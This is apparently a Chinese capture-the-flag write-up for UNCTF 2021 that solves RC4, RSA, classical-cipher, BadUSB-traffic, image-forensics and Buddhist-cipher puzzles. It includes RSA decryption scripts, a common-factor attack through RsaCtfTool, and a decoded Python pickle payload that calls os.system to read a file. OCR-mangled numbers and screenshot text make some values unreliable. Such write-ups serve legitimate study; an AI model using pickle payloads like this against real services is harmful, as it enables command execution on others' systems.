    bool v1; // zf
    const char *v2; // rdi

    v1 = a1 == 22;
    v2 = "YOUWRONG";
    if ( v1 )
        v2 = "Imagination is the topic\nRivest Cipher Four:\ncodemaker";
    return puts(v2);
}

```

尝试发现，codemaker使用RC4加密后即是flag

The screenshot shows a web-based RC4 encryption tool. At the top, it says "RC4" and "codemaker". Below that, there's a "Passphrase" field containing "2021", an "Input format" field set to "UTF8", and an "Output format" field set to "Base64". In the bottom right corner of the main area, there's a small "Output" box containing the text "CSDN @weixin 40356542 TS/13px1geFw".

Crypto

easy_rsa

已知p、q、e、c

exp:

```
import gmpy2
import libnum
p = 125251871498876285104474038811074420788338030973025794196056895307146903084374762078555116258400271198608346
33695330551080761572835309850579517639206740101
q = 996120270736696555674156566211071090291944127199680924100935866677885043544871032471170684597382066920148293
9820488174382325795134659313309606698334978471
e = 65537
c = 285874198020255135253547136214312060103950848544193720056710247392356258179365390104812224198246349566101844
3030852894130495009322882621314326232990294681251351844458790646922438332096430041718927020201923185653101214347
2434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
m = hex(gmpy2.powmod(c, d, n))[2:]
print (m)
```

得出flag



探秘中世纪城堡

根据题目“年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。”

猜测由凯撒密码、base64、栅栏密码加密而成

解密得出flag

The screenshot shows a tool for decoding ROT13 and Base64. On the left, under 'ROT13', there are three checkboxes: 'Rotate lower case chars' (checked), 'Rotate upper case chars' (checked), and 'Rotate numbers' (unchecked). An 'Amount' field is set to 47. Under 'From Base64', there is an 'Alphabet' dropdown menu showing 'A-Za-zA-Z0-9+=', and a checkbox 'Remove non-alphabet chars' (checked). On the right, the 'Output' section shows the decoded flag: UCFsbcliet_inwnaoagnH{usrb_0xagadmin}.

解码方式 进制转换 插件 妹子

Crypto **Image** **UnZip**

填写所需检测的密码: (已输入字符数统计: 36)

UCFsbciet_inwnaoagNT [usrb_oXagadmwn]

结果: (字符数统计: 312)

得到因数(排除1和字符串长度):
2 3 4 6 9 12 18

第1栏: UFbitiwaaN [sboaamnCsce_nnogTur_Xgdw]
 第2栏: Usi_woNubXawCbeinaTs_adnFctnag [rogm]
 第3栏: Ubtwa {bamCc_ngu_gwFiiaNsoansenTrXd}
 第4栏: UiwNbaCenT_dFta {oms_ouXwbiasancnrg}
 第5栏: U_NXCiTafn [gswuabnsdcarmiobwea_ntgo]
 第6栏: UwbCn_FaosoXbaacggiNaeTdt {m_uwi snnr}
 第7栏: **JNCTF {subscribe_to_Xiangwandamowang}**

分析badusb流量

猜测是键盘键值，查阅键值表得出，注意20表示Caps Lock，2D为-

得出flag

2018	U
2011	N
2006	C
2017	T
2009	F
202f	{
201C	Y
27	0
18	u
002D	-
2004	A
15	r
8	e
002D	-
19	v
8	e
15	r
001C	y
002D	-
11	n
001E	1
6	c
8	e
2030	}

baby_rsa

已知n、c、e，需要分解n，但在线网站查不到，位数过多，使用yafu也难以分解。

注意到

```
c=pow(m*p+n, e, n)
```

也就是说用来加密的明文中包含了n, c和n是有共同之处的。

RsaCtfTool中有一个攻击方法符合这种情况 (attacks/single_key/comfact_cn.py)

```
1 #!/usr/bin/env python3
2 # -*- coding: utf-8 -*-
3
4 from attacks.abstract_attack import AbstractAttack
5 from lib.rsalibnum import gcd
6 from lib.utils import s2n
7 from lib.keys_wrapper import PrivateKey
8 from lib.utils import timeout, TimeoutError
9
10
11 class Attack(AbstractAttack):
12     def __init__(self, timeout=60):
13         super().__init__(timeout)
14         self.speed = AbstractAttack.speed_enum["medium"]
15
16     def comfact(self, cipher, publickey):
17         for c in cipher:
18             commonfactor = gcd(publickey.n, s2n(c))
19
20             if commonfactor > 1:
21                 publickey.q = commonfactor
22                 publickey.p = publickey.n // publickey.q
23                 priv_key = PrivateKey(
24                     int(publickey.p),
25                     int(publickey.q),
26                     int(publickey.e),
27                     int(publickey.n),
28                 )
29                 return (priv_key, None)
30         return (None, None)
31
32     def attack(self, publickey, cipher=[], progress=True):
33         """Try an attack where the public key has a common factor with the
34         ciphertext - sourcekris"""
35         if cipher is not None:
36             try:
37                 with timeout(self.timeout):
38                     return self.comfact(cipher, publickey)
39             except TimeoutError:
40                 return (None, None)
41         return (None, None)
42
43     def test(self):
44         """ FIXME: Implement testcase """
CSDN @weixin_46356548
```

修改该文件，加入print输出p、q。

```
def comfact(self, cipher, publickey):
    for c in cipher:
        commonfactor = gcd(publickey.n, s2n(c))

        if commonfactor > 1:
            publickey.q = commonfactor
            publickey.p = publickey.n // publickey.q
            priv_key = PrivateKey(
                int(publickey.p),
                int(publickey.q),
                int(publickey.e),
                int(publickey.n),
            )
            print(publickey.p)
            print(publickey.q)
CSDN @weixin_46356548
```

```

python3 RsaCtfTool.py -n
27023180567533176673625876001733765250439008884966774053726136593879694805004008317993384794045337
346320604011291942070250958267863161076115025773959643655918998937942062381122445719426941299597172
251685730599875424364677784263129678324315951785587112580279998979749420463985833974452998613382038
604207215854606761380918280322231534257280236568978801667888119695235260912215202930201065305874536
37600349533427641518473788620430866128331962450325767202417824455886116760280239705754229483871721
023535646573402162298913421249719484587243513385976498213104313974267057012757740395880357765733734
17654649168810548916141 -e 65537 --uncipher
34895996575274038938519735532946846085041405325545622940277221859746466984860833766399711580520102
734009273382301966170687254423120952377284549239849267718566021396311814466803818392497037048147614
122160970620806442856073221436146913521205735534282519359897177555183324069939348283942227348079324
484153112664219920274461065615315554541585941036159556419768565513307458211823099351913393553331336
423366833742760841952843010279405226119093067093365728727245258124893489002940955923450762601242325
543069968703880865832717460966087474854018558926380044765024259322418997605873905417436002453659438
4447518687126891675059 --attack comfact_cn
```

成功得到p、q

```

$ python3 RsaCtfTool.py -n 270231805675331766736258760017337652504390088849667740537261365938
796948050040083179933847940453373463206040112919420702509582678631610761150257739596436559189989
379420623811224457194269412995971722516857305998754243646777842631296783243159517855871125802799
989797494204639858339744529986133820386042072158546067613809182803222315342572802365689788016678
881196952352609122152029302010653058745363760034953342764151847378862043086612833196245032576720
241782445588611676028023970575422294838717210235356465734021622989134212497194845872435133859764
9821310431397426705701275774039588035776573373417654649168810548916141 -e 65537 --uncipher 34895
9965752740389385197355329468460850414053255456294027722185974646698486083376639971158052010273
40097338230196617068725442312095237728454923984926771856602139631181446680381839249703704814761
412216097062080644285607322143614691352120573553428251935989717755518332406993934828394222734807
932448415311266421992027446106561531555454158594103615955641976856551330745821182309935191339355
333133642336683374276084195284301027940522611909306709336572872724525812489348900294095592345076
260124232554306996870388086583271746096608747485401855892638004476502425932241899760587390541743
6002453659438447518687126891675059 --attack comfact_cn
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmpvsrdg8os.
[*] Performing comfact_cn attack on /tmp/tmpvsrdg8os.
172354431397569365235099940061240370179571511681575675321648499739796116446233541721882395678777
138404141799953624775291783630349941566122051450935783281459577495640398952136794893153461151324
906425925227626564076511398407033394090665671220128353422755276355843263880135558428330412452780
330015120344362264389
1567884292176905912213643237248628389149174515197691141811223700098044411796015284913623304364
67733093983397264900892341579522006238934649483215731958831188569337023043212323328549779698423
589515561047696999930106025632087793044346255664351188784333635105774664450468975420458744197916
840094961189742909769 priv_key = PrivateKey(
[*] Attack success with comfact_cn method !
Results for /tmp/tmpvsrdg8os:
Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000666b59c5be5d7dee5a0dcc3716a23b243e961d11689d49a33747ba56c5b0a5e746
98a2f476fe6eb2d54225a373aeafea5b6c503a5677922a8b7c612d045286cab32f17aaace729dc0509840440525bf0
e8c657a567c0144f4b2e711d8302d7bdc80fac2621c7fb262d8e76d83f3ae3c4ba73429cae4368af8deb9a953b74d9a
47763afadb2ae10a6c6b573eeaf86bc0bf87dba
INT (big endian) : 26908955033587117903529516637329123141596706013428346412958397225498586146875
23443011005849341358734757355574338087782124942211438280897980052104789753374086665327124419203
49823206329238294624328781118533916230850312434635986657519990610119138784226601632442034028153
04087991852577732355188941618733326896313761512485084132424308272035994464872962934168485
```

exp:

```

import gmpy2
import libnum
p = 172354431397569365235099940061240370179571511681575675321648499739796116446233541721882395678777138404141799
9536247752917836303499415661220514509357832814595774956403989521367948931534611513249064259252276265640765113984
07033394090665671220128353422755276355843263880135558428330412452780330015120344362264389
q = 156788429217690959122136432372486283891491745151976911418112237000098044411796015284913623304364677330939833
9726490089234157955220062389346494832157319588311885693370230432123233285497796984235895155610476969999301060256
32087793044346255664351188784333635105774664450468975420458744197916840094961189742909769
e = 65537
c = 348959965752740389385197355329468460850414053255456229402772221859746466984860833766399711580520102734009273
3823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560
7322143614691352120573553428251935989717755518332406993934828394222734807932448415311266421992027446106561531555
4541585941036159556419768565513307458211823099351913393553331336423366833742760841952843010279405226119093067093
3657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242
593224189976058739054174360024536594384447518687126891675059
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = gmpy2.powmod(c, d, n)
m = hex(h//q)[2:]
print(m)

```

如果无法得出正确结果，可尝试调换p、q。

解出flag

756e6374667b7273615f73316d7031655f306b6b7d

转换后输出格式设置： 不加 加空格 加
unctf{rsa_simple_0kk}

电信诈骗pro

经试验5.#4&;Sw)2Ti%\$j1eUU9kTw\$j)1S"a8S0)6x-8(x7=为ROT47，位移量为64，使用工具解出flag

ROT47

Amount
64

5.#4&;Sw)2Ti%\$j1eUU9kTw\$j)1S"a8S0)6x-8(x7=

Output

unctf{5Yir6Kej5LqG77yM6YKj5L1q5BCx5p1Vzmxfzw}

Misc

简单日志审计

题目上就有base64

STAKcDAKMF MnY2F0IC9DVEY/WW91U2hvdUppdVhp bmcnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFlu


解出/CTF?YouShouJiuXing即是flag

```
I0
p0
OS' cat /CTF?YouShouJiuXing'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.
```

电信诈骗

qijm^roVibdVbXUU`h


经试验第1位ASCII码加4，第2位加5，依此类推，即是flag



引大流咯, happy

使用010Editor打开，看不出什么，找到原图，发现题目比原图短了一截






修改高度

Name	Value	Start	Size	Color
> struct APP0 app0[1]		7Ch	12h	Fg: Bg: █
> struct DQT dqt[0]		8Eh	45h	Fg: Bg: █
> struct DQT dqt[1]		D3h	45h	Fg: Bg: █
` struct SOFx sof0		118h	13h	Fg: Bg: █
enum M_ID marker	M_SOFO (FFC0h)	118h	2h	Fg: Bg: █
WORD szSection	17	11Ah	2h	Fg: Bg: █
ubyte precision	8	11Ch	1h	Fg: Bg: █
WORD Y_image	1920	11Dh	2h	Fg: Bg: █
WORD X_image	1067	11Fh	2h	Fg: Bg: █
ubyte nr_comp	3	121h	1h	Fg: Bg: █
` struct COMPS comp[3]		122h	1h	Fg: Bg: █
` struct DLT_DLW01		123h	1h	Fg: Bg: █

得出flag





UNCTF {BellalaBella}

CSDN @weixin_46356548

倒立洗头

猜测是16进制，粘贴到010中，发现尾部存在倒着的jpg文件头

```
Output
Executing template 'C:\Program Files\010Editor64BitPortable\010 Templates
*ERROR: CRC Mismatch @ chunk[9]; in data: 00000045; expected: fc当地9c
*ERROR: CRC Mismatch @ chunk[10]; in data: 00000044; expected: cc99cdc
*ERROR: CRC Mismatch @ chunk[11]; in data: 00000047; expected: 6eca9cdc
*ERROR: CRC Mismatch @ chunk[12]; in data: 0000006e; expected: 9f23af81
*ERROR: CRC Mismatch @ chunk[13]; in data: 00000062; expected: 252dd438
*ERROR: CRC Mismatch @ chunk[14]; in data: 00000021; expected: de88085d
*ERROR: CRC Mismatch @ chunk[15]; in data: 00000021; expected: ff6c6fc1
*ERROR: CRC Mismatch @ chunk[282]; in data: 9cb5d4b3; expected: 53bb99e3
```

需将每个倒转

```
with open("key.txt",'r') as f:  
    a=f.read()  
c=''  
for i in range(len(a)-1,-1,-2):  
    c+=a[i:i+2]  
with open("key1.txt",'wb') as f:  
    f.write(c.encode())
```

再粘贴至010，修复文件头为FF D8 FF，得到图片



发现base64

```
"5L2b5pe177ya5Li  
K5L+x5pwF44CC6YG  
g5aSn5a+G6Zq45oC  
v6Zmk5aSa55qk5a2  
V6ICo54iN5qK15Zy  
w6Kuz6Jap5L6E56m  
257y96ICB6Kuz5Li  
N5o0z55qk6ICF5ru  
F572w6Ly457y96Zi  
/5L6E5ruF5qK15aS  
i5L6E5LiN5Ya15ZC  
J55yf5qK15rKZ57y  
95bqm5Y2z57y96Zq  
45oCv5pi05L6E5Yi  
H5L6E55+15ZGQ5Zy  
w5Y2X5ZG86IiN5ZK  
S5aWi5L2b5raF5Z0  
G5aeq56We5a+G5pi  
05ZOG6YCd5a6k5Zy  
w5oGQ5Ya15ZG85oC  
v5L2b5Zad5ZOG5Ly  
96Y095oCv6YGu6Ku  
z5YCS57y95bid5Ya  
l5bid6Ly45puw6Ku  
z6bq85L+x5oCw5L+  
x6Ium5L+x5r0iCg=  
="kž$ž$D1GbsÉy..
```

解密得到佛曰密码

佛曰：上俱故。遼大密隸怯除多皤孕姆爍梵地諳薩侄究跡老譖不想皤者減罰輸罅阿侄減梵夢侄不冥吉真梵沙罅度即罅隸怯明侄切侄知吶地南呼舍咒奢佛涅哆姪神密明哆逝室地恐冥呼怯佛喝哆伽都怯遮諳倒罅帝冥帝輸曰諳麼俱怖俱苦俱波|

发现无法解密，原因是“曰”成了“日”，修改正确，解出flag

与佛论禅

```
unctf{it_is_easy_right?}
```

听佛说宇宙的真谛

参悟佛所言的真意

普度众生

无悲无喜无梦无幻，无爱无恨四大皆空

佛曰：上俱故。遠大密隸性除多皤孕瘤爍梵地諳薩侄究跡老諳不想皤者減罰轉鉢阿侄滅梵夢侄不冥吉真梵沙鉢度即鉢隸性明侄切侄知吶地南呼舍咒奢佛涅槃姪神密明嗲逝室地恐冥呼怯佛喝嗲伽都怯遮諳倒鉢帝冥帝輪曰諳麼俱怖俱苦俱波

CSDN @weixin_46356548

LPL

不破不立.zip需要密码，从10.png入手

010打开发现多个CRC错误

```
Output
Executing template 'C:\Program Files\010Editor64BitPortable\010 Templates
*ERROR: CRC Mismatch @ chunk[9]; in data: 00000045; expected: fcaffe9c
*ERROR: CRC Mismatch @ chunk[10]; in data: 00000044; expected: cc99cdfe
*ERROR: CRC Mismatch @ chunk[11]; in data: 00000047; expected: 6eca9cdc
*ERROR: CRC Mismatch @ chunk[12]; in data: 0000006e; expected: 9f23af81
*ERROR: CRC Mismatch @ chunk[13]; in data: 00000062; expected: 252dd438
*ERROR: CRC Mismatch @ chunk[14]; in data: 00000021; expected: de88085d
*ERROR: CRC Mismatch @ chunk[15]; in data: 00000021; expected: ff6c6fc1
*ERROR: CRC Mismatch @ chunk[282]; in data: 9cb5d4b3; expected: 53bb99e3
```

尝试对错误的CRC进行16进制转字符，即是压缩包密码

45 44 47 6e 62 21 21
转换后输出格式设置：
EDGnb!!

解压得到b站网址https://www.bilibili.com/bangumi/play/ep431768?

from=search&seid=2681339926644936228&spm_id_from=333.337.0.0和有时间的图片，查看这一时间的评论，得到flag

 蚂了个巴子 Lv4 🎉
flag{LpL_zgbr_rNg_eDg777}
2021-11-24 14:11  2  回复